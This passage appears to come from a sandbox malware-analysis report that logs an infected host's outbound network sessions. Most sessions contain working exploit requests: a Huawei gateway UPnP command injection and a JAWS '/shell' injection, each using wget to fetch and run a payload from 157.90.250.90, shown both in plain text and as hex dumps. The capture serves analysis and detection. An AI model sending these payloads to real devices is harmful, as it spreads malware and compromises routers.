xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:00.520215988 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:02.311983109 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:05.927475929 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:13.094552994 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:27.428462029 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
403	192.168.2.23	55408	129.21.35.145	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:59.028626919 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:59.189445019 CET	392	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:59 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
404	192.168.2.23	53220	212.162.84.187	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:59.055809975 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:00.392272949 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:01.960042000 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:05.159595966 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:11.558669090 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:24.100929976 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
405	192.168.2.23	35778	47.95.228.73	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:59.105890036 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:59.415182114 CET	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jan 2024 05:24:59 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
406	192.168.2.23	42078	45.11.236.142	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:59.115434885 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:59.345968008 CET	430	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:59 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
407	192.168.2.23	39204	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:59.145380020 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 35 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:58Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
408	192.168.2.23	50544	18.66.27.182	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:59.193136930 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:59.444467068 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Tue, 02 Jan 2024 05:24:59 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
409	192.168.2.23	40926	145.236.36.128	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:59.212800026 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:59.492368937 CET	525	IN	Data Raw: 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 20 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6d 69 6e 69 5f 68 74 74 70 64 2f 31 2e 31 39 2f 62 68 Data Ascii: 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 404 Not FoundServer: mini_httpd/1.19/bhoc 23sep2004Date: Sat, 07 Feb 1970 10:05:37 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=UTF-8Connection: close<HTML><HEAD><T

Session ID	Source IP	Source Port	Destination IP	Destination Port
410	192.168.2.23	39420	212.8.247.70	80

Timestamp	Bytes transferred	Direction	Data
